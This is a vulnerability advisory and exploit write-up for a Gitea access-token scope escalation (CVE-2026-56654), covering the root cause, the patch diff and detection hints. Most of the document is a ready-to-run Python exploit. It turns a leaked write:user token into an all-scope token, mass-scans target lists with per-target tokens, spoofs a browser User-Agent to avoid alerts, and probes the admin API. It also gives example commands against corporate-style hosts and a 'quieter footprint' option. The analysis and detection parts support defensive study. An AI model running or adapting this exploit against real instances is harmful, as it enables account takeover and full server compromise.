#Summary
CVE-2026-56654 is a critical privilege escalation in Gitea's REST API that allows an attacker with a minimally scoped personal access token (write:user) to escalate it to a full-scope token (all). No password, session cookie, or OTP is required. The vulnerability stems from three chained weaknesses: a route guard that confuses HTTP Basic transport with password authentication, a design that accepts access tokens in Basic credentials, and a missing scope ceiling in the token-creation handler. The impact ranges from account-level takeover to full instance compromise if the victim account is a site administrator. CVSS 9.8 CRITICAL.
#Affected versions
- Gitea <= 1.26.4 (vulnerable)
- Gitea >= 1.27.0 (patched)
Default configuration is affected. No special settings required.
#Root cause analysis
#Three weaknesses that chain
The vulnerability is not a single defect but three separate weaknesses that cooperate:
#1. The route guard asks the wrong question
The endpoint POST /api/v1/users/{username}/tokens is guarded by reqBasicOrRevProxyAuth(), a middleware intended to enforce "you must prove you know the password before minting a token". The guard tests:
func reqBasicOrRevProxyAuth() func(ctx *context.APIContext) {
return func(ctx *context.APIContext) {
if ctx.IsSigned && setting.Service.EnableReverseProxyAuthAPI && ctx.Data["AuthedMethod"].(string) == auth.ReverseProxyMethodName {
return
}
if !ctx.IsBasicAuth {
ctx.APIError(http.StatusUnauthorized, "auth required")
return
}
}
}The critical flaw: ctx.IsBasicAuth answers "did this request arrive over HTTP Basic?" not "did the request present a password". These are different questions.
#2. A token in Basic is indistinguishable from a password
In services/auth/basic.go, the parseAuthBasic function deliberately accepts access tokens supplied over Basic:
uname, passwd := parsed.BasicAuth.Username, parsed.BasicAuth.Password
// Check if username or password is a token
isUsernameToken := len(passwd) == 0 || passwd == "x-oauth-basic"
// Assume username is token
authToken := uname
if !isUsernameToken {
log.Trace("Basic Authorization: Attempting login for: %s", uname)
// Assume password is token
authToken = passwd
}The function then calls VerifyAuthToken(authToken), which succeeds and stores:
store.GetData()["LoginMethod"] = AccessTokenMethodName
store.GetData()["IsApiToken"] = true
store.GetData()["ApiTokenScope"] = token.ScopeHowever, the flag AuthedMethod is derived from (*Basic).Name(), which unconditionally returns the string "basic" whether it authenticated a password or a token. The result: a token supplied as Basic sets both IsApiToken=true AND IsBasicAuth=true simultaneously. The route guard passes it through.
#3. No scope ceiling in the handler
Once past the guard, CreateAccessToken in routers/api/v1/user/app.go normalizes the requested scope and persists it without consulting the scope of the token that made the request:
scope, err := auth_model.AccessTokenScope(strings.Join(form.Scopes, ",")).Normalize()
if err != nil {
ctx.APIError(http.StatusBadRequest, fmt.Errorf("invalid access token scope provided: %w", err))
return
}
if scope == "" {
ctx.APIError(http.StatusBadRequest, "access token must have a scope")
return
}
t.Scope = scope
if err := auth_model.NewAccessToken(ctx, t); err != nil {
ctx.APIErrorInternal(err)
return
}The data store holds ctx.Data["ApiTokenScope"] (the caller's own scope) but the code never reads it. A token is allowed to mint a credential more powerful than itself.
#How the exploit works
- An attacker obtains one leaked access token carrying the
write:userscope (realistic: from a CI variable,.git-credentialsfile, or log). - The attacker sends
POST /api/v1/users/{username}/tokenswith the token encoded in HTTP Basic asBasic base64("<token>:x-oauth-basic")and body{"name":"unique-name","scopes":["all"]}. - The token passes
reqBasicOrRevProxyAuth()becauseIsBasicAuth=true. - The handler mints a new token with scope
allbecause there is no scope ceiling. - The new token carries all nine
write:*scopes, includingwrite:adminif the account is a site administrator, and reaches/api/v1/admin/*endpoints for instance-level compromise.
#Patch diff
Two new helper functions were added to models/auth/access_token_scope.go:
// CanCreateChildScope reports whether a request authenticated by this (parent) scope may mint a token
// carrying the child scope. It rejects any grantable scope the parent does not hold, closing the
// scope-escalation path.
func (s AccessTokenScope) CanCreateChildScope(child AccessTokenScope) (bool, error) {
requested := child.StringSlice()
scopes := make([]AccessTokenScope, 0, len(requested))
for _, sc := range requested {
childScope := AccessTokenScope(sc)
if childScope == AccessTokenScopePublicOnly {
continue
}
scopes = append(scopes, childScope)
}
return s.HasScope(scopes...)
}
// EnforcePublicOnlyFrom adds the public-only restriction to s when the authorizing parent scope is
// public-only, so a public-only token cannot mint a child token that drops the restriction.
func (s AccessTokenScope) EnforcePublicOnlyFrom(parent AccessTokenScope) (AccessTokenScope, error) {
publicOnly, err := parent.PublicOnly()
if err != nil {
return "", err
}
if !publicOnly {
return s, nil
}
return AccessTokenScope(string(s) + "," + string(AccessTokenScopePublicOnly)).Normalize()
}and a scope ceiling check was added to routers/api/v1/user/app.go, immediately before persisting the token:
// a token-authenticated request must not mint a token with a broader scope than its own
if ctx.Data["IsApiToken"] == true {
apiTokenScope, ok := ctx.Data["ApiTokenScope"].(auth_model.AccessTokenScope)
if !ok {
ctx.APIError(http.StatusForbidden, "the authenticating token has no scope")
return
}
hasScope, err := apiTokenScope.CanCreateChildScope(scope)
if err != nil {
ctx.APIErrorInternal(err)
return
}
if !hasScope {
ctx.APIError(http.StatusForbidden, "cannot create an access token with a broader scope than the authenticating token")
return
}
// a public-only token must not mint a token that drops the public-only restriction
if t.Scope, err = t.Scope.EnforcePublicOnlyFrom(apiTokenScope); err != nil {
ctx.APIErrorInternal(err)
return
}
}An identical block was added to routers/web/user/setting/applications.go to protect the web form endpoint.
#What the patch deliberately does not fix
The patch enforces a scope ceiling but does not touch the first two weaknesses. At v1.27.0:
parseAuthBasicstill acceptsx-oauth-basicand still treats tokens as valid Basic credentials.(*Basic).Name()still returns"basic"regardless of whether it validated a password or a token.reqBasicOrRevProxyAuth()is byte-for-byte identical.
A token still passes the "password required" guard on a patched instance. It simply cannot escalate once inside the handler. This is important: describing this CVE as "an auth bypass that was fixed" would be incorrect.
#Proof of concept
#exploit.py - Gitea Access Token Scope Escalation PoC
#!/usr/bin/env python3
"""
CVE-2026-56654 - Gitea access token scope escalation (privilege escalation / account takeover)
Affected: Gitea <= 1.26.4 (fixed in 1.27.0)
Type: Privilege Escalation (improper access control, CWE-284)
A minimally scoped personal access token is enough to mint a new token with any scope.
POST /api/v1/users/{username}/tokens is guarded by reqBasicOrRevProxyAuth(), which only
asks whether the request arrived over HTTP Basic - not whether a password was presented.
Gitea accepts an access token in the Basic credential pair, so the token itself satisfies
the "password required" guard, and the handler never compares the requested scope against
the scope of the token that authenticated the call.
Input: one leaked access token carrying write:user. No password, no session cookie, no OTP.
Output: a new token scoped "all" for the same account. If that account is a site
administrator, "all" includes write:admin and the token reaches /api/v1/admin/*.
Usage:
python exploit.py --host <target> --port 3000 --token <leaked_token>
python exploit.py --host 192.168.1.10 --port 3000 --token 214d1738f84b755ab2e6be380ccbede4e
python exploit.py --host https://git.corp.com --token <leaked_token>
python exploit.py --host https://git.corp.com/gitea --token <leaked_token> --scopes read:repository
python exploit.py --list targets.txt --workers 20 --token <leaked_token>
Arguments:
--host Target hostname, IP, or full URL. A URL path is treated as the Gitea
sub-path prefix (e.g. https://host/gitea -> /gitea/api/v1/...).
--port Port when --host is not a URL (default: 3000).
--token The leaked access token. Required. Must carry at least write:user.
--username Account the token belongs to. Optional: discovered from GET /api/v1/user
when omitted, which is the reliable way to get the exact spelling.
--scopes Scopes to request for the minted token (default: all). Comma separated.
--list File with one target per line for batch scanning. A line may carry its own
token as "target|token"; otherwise --token is used for every target.
--workers Threads for --list mode (default: 10).
--tls/--no-tls Force or forbid TLS, overriding what --host implies.
--insecure Do not verify TLS certificates (default: verify).
"""
import argparse
import base64
import http.client
import json
import secrets
import ssl
import sys
from urllib.parse import urlparse
CVE_ID = "CVE-2026-56654"
VULN_TYPE = "Privilege Escalation"
TIMEOUT = 20
# A plain browser string: a tool-specific User-Agent is the easiest thing to alert on.
USER_AGENT = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0 Safari/537.36"
# The nine write scopes Normalize() expands "all" into. Used to recognise an escalated
# token when the server echoes the expansion instead of the literal "all".
ALL_WRITE_SCOPES = frozenset([
"write:activitypub", "write:admin", "write:issue", "write:misc",
"write:notification", "write:organization", "write:package",
"write:repository", "write:user",
])
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# ---------------------------------------------------------------- HTTP plumbing
def _connect(host: str, port: int, use_tls: bool, insecure: bool):
if use_tls:
ctx = ssl.create_default_context()
if insecure:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
return http.client.HTTPSConnection(host, port, timeout=TIMEOUT, context=ctx)
return http.client.HTTPConnection(host, port, timeout=TIMEOUT)
def _api(host, port, use_tls, base_path, method, endpoint, auth=None, body=None, insecure=False):
"""One API call. Returns (status, raw_text, parsed_json_or_None).
auth is the literal Authorization header value, sent exactly as given - the whole
exploit depends on the server seeing "Basic <b64>" rather than a rewritten form,
so no auth helper or credential manager is allowed anywhere near this.
"""
prefix = base_path.rstrip("/") if base_path and base_path != "/" else ""
url = f"{prefix}/api/v1{endpoint}"
headers = {"User-Agent": USER_AGENT, "Accept": "application/json"}
if auth:
headers["Authorization"] = auth
payload = None
if body is not None:
payload = json.dumps(body).encode()
headers["Content-Type"] = "application/json"
headers["Content-Length"] = str(len(payload))
conn = _connect(host, port, use_tls, insecure)
try:
conn.request(method, url, body=payload, headers=headers)
resp = conn.getresponse()
raw = resp.read().decode("utf-8", "replace")
status = resp.status
finally:
conn.close()
try:
parsed = json.loads(raw)
except ValueError:
parsed = None
return status, raw, parsed
def _basic(username: str, password: str) -> str:
return "Basic " + base64.b64encode(f"{username}:{password}".encode()).decode()
def _msg(parsed, raw: str) -> str:
"""Server-side error text, trimmed for one-line output."""
if isinstance(parsed, dict) and parsed.get("message"):
return str(parsed["message"]).strip()
return raw.strip().replace("\n", " ")[:200]
def _is_escalated(scopes) -> bool:
"""True when the minted token carries more than the write:user entry ticket."""
if not scopes:
return False
got = set(scopes)
if "all" in got:
return True
return len(got & ALL_WRITE_SCOPES) > 1
def _token_name() -> str:
"""Neutral, per-run unique name. A reused name is rejected above the vulnerable
code with 400 'access token name has been used already', which reads exactly like
a patched target, so the nonce is load-bearing rather than cosmetic."""
return "svc-" + secrets.token_hex(4)
# ---------------------------------------------------------------- core exploit
def _escalate(host, port, use_tls, base_path, token, username, scopes, insecure):
"""Send the escalation request. Returns (status, message, minted_token_object).
Two Basic encodings are attempted, both accepted by parseAuthBasic: the token in
the username field with the x-oauth-basic sentinel password, and the token in the
password field beside the real username. The second is what an ordinary Git client
sends and survives proxies that rewrite the first.
"""
attempts = [
("token:x-oauth-basic", _basic(token, "x-oauth-basic")),
("username:token", _basic(username, token)),
]
last = (None, "no attempt made", None)
for label, auth in attempts:
body = {"name": _token_name(), "scopes": scopes}
status, raw, parsed = _api(host, port, use_tls, base_path, "POST",
f"/users/{username}/tokens", auth=auth,
body=body, insecure=insecure)
if status == 201 and isinstance(parsed, dict):
parsed["_encoding"] = label
return status, "created", parsed
last = (status, f"[{label}] {_msg(parsed, raw)}", None)
# 401 means this encoding never reached the handler; the other one may.
# Anything else is a real answer from the handler, so stop and report it.
if status != 401:
break
return last
def _try_exploit(host: str, port: int, use_tls: bool, base_path: str = "/", token: str = "",
username: str = "", scopes=None, insecure: bool = False):
"""Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
scopes = scopes or ["all"]
try:
if not token:
return False, "no token supplied for this target"
status, raw, parsed = _api(host, port, use_tls, base_path, "GET", "/user",
auth=f"token {token}", insecure=insecure)
if status != 200 or not isinstance(parsed, dict):
return False, f"token not accepted (HTTP {status})"
login = username or parsed.get("login", "")
if not login:
return False, "could not determine account name"
status, message, minted = _escalate(host, port, use_tls, base_path, token,
login, scopes, insecure)
if status != 201 or not minted:
return False, f"HTTP {status}: {message}"
if not _is_escalated(minted.get("scopes")):
return False, f"minted token was clamped to {minted.get('scopes')}"
new = minted.get("sha1", "")
vstatus, _, _ = _api(host, port, use_tls, base_path, "GET", "/user/repos",
auth=f"token {new}", insecure=insecure)
if vstatus != 200:
return True, (f"escalated '{login}' to scopes {minted.get('scopes')} "
f"(token ...{minted.get('token_last_eight', '')})")
return True, (f"escalated '{login}' to scopes {minted.get('scopes')}, "
f"new token reads /user/repos (HTTP 200)")
except Exception as e:
return False, f"unreachable ({e.__class__.__name__})"
def _parse_target(line: str, default_port: int, default_path: str = "/") -> tuple | None:
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10, token: str = "",
username: str = "", scopes=None, insecure: bool = False) -> None:
"""Batch scan from file. A line may be 'target|token' to carry its own credential."""
import concurrent.futures
targets = []
with open(targets_file) as f:
for line in f:
raw = line.strip()
if not raw or raw.startswith("#"):
continue
target_part, _, line_token = raw.partition("|")
parsed = _parse_target(target_part, default_port)
if parsed is None:
continue
targets.append((parsed, line_token.strip() or token))
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(item):
(host, port, use_tls, path), tok = item
label = f"{'https' if use_tls else 'http'}://{host}:{port}{'' if path == '/' else path}"
ok, evidence = _try_exploit(host, port, use_tls, base_path=path, token=tok,
username=username, scopes=scopes, insecure=insecure)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
def exploit(host: str, port: int, use_tls: bool, base_path: str, token: str,
username: str, scopes, insecure: bool) -> None:
header(host, port)
# --- 1. identify the account the leaked token belongs to -------------------
step(1, "Identifying the account behind the leaked token (GET /api/v1/user)")
status, raw, parsed = _api(host, port, use_tls, base_path, "GET", "/user",
auth=f"token {token}", insecure=insecure)
if status != 200 or not isinstance(parsed, dict):
section("SERVER RESPONSE", f"HTTP {status}\n{raw}")
done(False, f"Leaked token rejected (HTTP {status}) - not a valid token for this host")
login = username or parsed.get("login", "")
is_admin = bool(parsed.get("is_admin"))
section("TOKEN OWNER", json.dumps(
{"login": login, "email": parsed.get("email"), "is_admin": is_admin}, indent=2))
if not login:
done(False, "Could not determine the account name; pass it with --username")
print(f" account '{login}' (site admin: {is_admin})\n")
# --- 2. baseline: what the leaked token can and cannot do ------------------
step(2, "Baseline with the leaked token in its ordinary header form")
base_status, base_raw, base_parsed = _api(host, port, use_tls, base_path, "GET",
"/user/repos", auth=f"token {token}",
insecure=insecure)
section("BASELINE GET /api/v1/user/repos (Authorization: token ...)",
f"HTTP {base_status}\n{base_raw[:400]}")
if base_status == 200:
print(" note: the leaked token already holds read:repository, so the "
"403 -> 200 flip\n below will not be available as evidence; the "
"minted scope set is used instead.\n")
guard_status, guard_raw, guard_parsed = _api(
host, port, use_tls, base_path, "POST", f"/users/{login}/tokens",
auth=f"token {token}", body={"name": _token_name(), "scopes": scopes},
insecure=insecure)
section("GUARD CHECK POST /api/v1/users/%s/tokens (Authorization: token ...)" % login,
f"HTTP {guard_status}\n{guard_raw[:400]}")
if guard_status == 401:
print(" the guard is real: token-in-header is refused with 'auth required'.\n"
" the next step changes only the encoding of the same credential.\n")
elif guard_status == 201:
print(" note: this deployment let the plain token header through the guard "
"outright.\n")
# --- 3. the escalation ------------------------------------------------------
step(3, "Re-sending the same credential as HTTP Basic and requesting scopes %s" % scopes)
status, message, minted = _escalate(host, port, use_tls, base_path, token,
login, scopes, insecure)
if status != 201 or not minted:
section("ESCALATION RESPONSE", f"HTTP {status}\n{message}")
if status == 403 and "broader scope" in message:
done(False, "Target is patched (1.27.0+) - the scope ceiling rejected the request")
if status == 403 and "contextUser" in message:
done(False, f"Account name mismatch - '{login}' is not the token owner; set --username")
if status == 401:
done(False, "Both Basic encodings refused with 'auth required' - the credential "
"did not arrive as HTTP Basic")
done(False, f"Escalation refused (HTTP {status}): {message}")
minted_scopes = minted.get("scopes") or []
new_token = minted.get("sha1", "")
encoding = minted.pop("_encoding", "token:x-oauth-basic")
section("MINTED TOKEN", json.dumps(minted, indent=2))
print(f" Basic encoding accepted: {encoding}\n")
if not _is_escalated(minted_scopes):
done(False, f"Token created but clamped to {minted_scopes} - no escalation occurred")
# --- 4. prove the new token is strictly more powerful ----------------------
step(4, "Replaying the baseline request with the minted token")
ver_status, ver_raw, ver_parsed = _api(host, port, use_tls, base_path, "GET",
"/user/repos", auth=f"token {new_token}",
insecure=insecure)
repos = []
if isinstance(ver_parsed, list):
repos = [f"{r.get('full_name')} (private={r.get('private')})" for r in ver_parsed]
section("PRIVILEGE CHECK GET /api/v1/user/repos (Authorization: token <minted>)",
f"HTTP {ver_status}\n" + ("\n".join(repos) if repos else ver_raw[:400]))
# --- 5. corroboration: both tokens side by side, and the admin ceiling ------
step(5, "Listing the account's tokens and probing the administrative API")
lst_status, lst_raw, lst_parsed = _api(
host, port, use_tls, base_path, "GET", f"/users/{login}/tokens",
auth=_basic(token, "x-oauth-basic"), insecure=insecure)
if lst_status == 200 and isinstance(lst_parsed, list):
rows = [f"id={t.get('id')} name={t.get('name')} scopes={t.get('scopes')}"
for t in lst_parsed]
section("TOKENS ON THE ACCOUNT", "\n".join(rows))
admin_note = "account is not a site admin - write:admin grants nothing here"
if is_admin:
adm_status, adm_raw, _ = _api(host, port, use_tls, base_path, "GET",
"/admin/users", auth=f"token {new_token}",
insecure=insecure)
section("ADMIN API GET /api/v1/admin/users (Authorization: token <minted>)",
f"HTTP {adm_status}\n{adm_raw[:400]}")
admin_note = (f"admin API returned HTTP {adm_status} with the minted token"
if adm_status == 200 else
f"admin API returned HTTP {adm_status}")
flip = ""
if base_status == 403 and ver_status == 200:
flip = " - one unchanged request went 403 with the leaked token and 200 with the minted one"
done(True, (f"Scope escalation confirmed on '{login}': a {('write:user-class') if base_status == 403 else 'restricted'} "
f"token minted a token with scopes {minted_scopes}"
f" (...{minted.get('token_last_eight', '')}){flip}; {admin_note}"))
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://git.corp.com/gitea)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line ('target' or 'target|token')")
parser.add_argument("--port", type=int, default=3000, help="Default port (default: 3000)")
parser.add_argument("--token", default="", help="Leaked access token carrying write:user (required)")
parser.add_argument("--username", default="", help="Account the token belongs to (default: read from /api/v1/user)")
parser.add_argument("--scopes", default="all", help="Scopes to request for the minted token (default: all)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
parser.add_argument("--insecure", action="store_true", help="Skip TLS certificate verification")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
scope_list = [s.strip() for s in args.scopes.split(",") if s.strip()]
if not scope_list:
parser.error("--scopes must name at least one scope")
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, token=args.token,
username=args.username, scopes=scope_list, insecure=args.insecure)
else:
if not args.token:
parser.error("--token is required: this exploit takes one leaked access token as its input")
parsed_target = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed_target if parsed_target else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.token, args.username, scope_list, args.insecure)#Usage
python3 exploit.py --host 127.0.0.1 --port 3000 --token 214d1738f84b755ab2e6be380ccbede4eea313a7Key flags:
| Flag | Purpose |
|---|---|
--host |
Target hostname, IP, or full URL. A URL path (e.g., https://git.corp.com/gitea) is treated as the Gitea sub-path prefix. |
--port |
Port when --host is not a URL (default: 3000). |
--token |
The leaked access token carrying at least write:user (required). |
--username |
Account name (optional; discovered from /api/v1/user when omitted). |
--scopes |
Scopes for the minted token (default: all). Comma separated. |
--list |
File with targets for batch mode. Format: target or target|token per line. |
--workers |
Thread count for batch mode (default: 10). |
--insecure |
Skip TLS certificate verification. |
#Real-world examples
# Self-hosted Gitea on default port
python3 exploit.py --host 192.168.40.17 --port 3000 --token 7c1f9a4be2d05836aa41e0c9b7d2f6183ea90cb4
# Behind TLS at a sub-path with self-signed certificate
python3 exploit.py --host https://git.corp.example/gitea --token 7c1f9a4b... --insecure
# Request narrower scope for quieter footprint
python3 exploit.py --host 192.168.40.17 --token 7c1f9a4b... --scopes write:repository,read:admin
# Batch scan with per-target credentials
python3 exploit.py --list targets.txt --workers 20#Expected output - vulnerable target
[STEP 1] Identifying the account behind the leaked token (GET /api/v1/user)
--- TOKEN OWNER ---
{
"login": "devuser",
"email": "[email protected]",
"is_admin": false
}
[STEP 2] Baseline with the leaked token in its ordinary header form
--- BASELINE GET /api/v1/user/repos (Authorization: token ...) ---
HTTP 403
{"message":"token does not have at least one of required scope(s), required=[read:repository], token scope=write:user"}
--- GUARD CHECK POST /api/v1/users/devuser/tokens (Authorization: token ...) ---
HTTP 401
{"message":"auth required"}
[STEP 3] Re-sending the same credential as HTTP Basic and requesting scopes ['all']
--- MINTED TOKEN ---
{
"id": 9,
"name": "svc-b655a31b",
"sha1": "20e60786d17822d422f7cfb6c651ce88d50bb29f",
"token_last_eight": "d50bb29f",
"scopes": [ "all" ]
}
Basic encoding accepted: token:x-oauth-basic
[STEP 4] Replaying the baseline request with the minted token
--- PRIVILEGE CHECK GET /api/v1/user/repos (Authorization: token <minted>) ---
HTTP 200
devuser/internal-notes (private=True)
[STEP 5] Listing the account's tokens and probing the administrative API
--- TOKENS ON THE ACCOUNT ---
id=9 name=svc-b655a31b scopes=['all']
id=1 name=ci-runner-3d0df162 scopes=['write:user']
============================================================
RESULT : SUCCESS
EVIDENCE: Scope escalation confirmed on 'devuser': a write:user-class token minted a token
with scopes ['all'] (...d50bb29f) - one unchanged request went 403 with the leaked
token and 200 with the minted one; account is not a site admin - write:admin grants nothing here
============================================================#Expected output - patched target (1.27.0+)
[STEP 1] Identifying the account behind the leaked token (GET /api/v1/user)
[STEP 2] Baseline with the leaked token in its ordinary header form
[STEP 3] Re-sending the same credential as HTTP Basic and requesting scopes ['all']
--- ESCALATION RESPONSE ---
HTTP 403
cannot create an access token with a broader scope than the authenticating token
============================================================
RESULT : FAILURE
EVIDENCE: Target is patched (1.27.0+) - the scope ceiling rejected the request
============================================================#Exploitation notes
#Preconditions
- Target runs Gitea at or below 1.26.4.
- Attacker possesses one valid access token carrying the
write:userscope (the most commonly granted scope for CI and automation tokens). - The token owner's username is known (obtainable via
GET /api/v1/user).
#Attack vector
The entire attack is a single HTTP request wrapped in Basic authentication. No timing attacks, no race conditions, no complex encoding. The request must reach the endpoint as HTTP Basic (not as Authorization: token <sha>), so a proxy that strips or rewrites the Authorization header will break the exploit. If the first Basic encoding is rejected with 401, the script retries with the alternate form.
#Reliability
Very high. The exploit establishes a negative baseline (the 401) before the positive one (the 201), proving the guard exists and that only the encoding changed. The decisive test is on the returned scope set, not just the status code. A 201 whose scopes were clamped would indicate a ceiling exists, but that doesn't happen on v1.26.4.
#Impact ceiling
On a regular user account: the escalated token can access any API the account can access. On a site administrator account: the escalated token carries write:admin and reaches /api/v1/admin/* for full instance compromise (user enumeration, creation, password reset, site settings modification).
#Detection
- Look for POST requests to
/api/v1/users/{username}/tokenswith Authorization: Basic headers. - Scope escalations (a token minted with scopes broader than the authenticating token).
- Tokens created at suspicious times or with unusual names.
#References
- CVE: CVE-2026-56654
- GitHub Security Advisory: GHSA-683j-3ff6-hh2x
- Fix commit: PR #38406 (merged 2026-07-12)
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-56654
- Gitea releases: v1.26.4, v1.27.0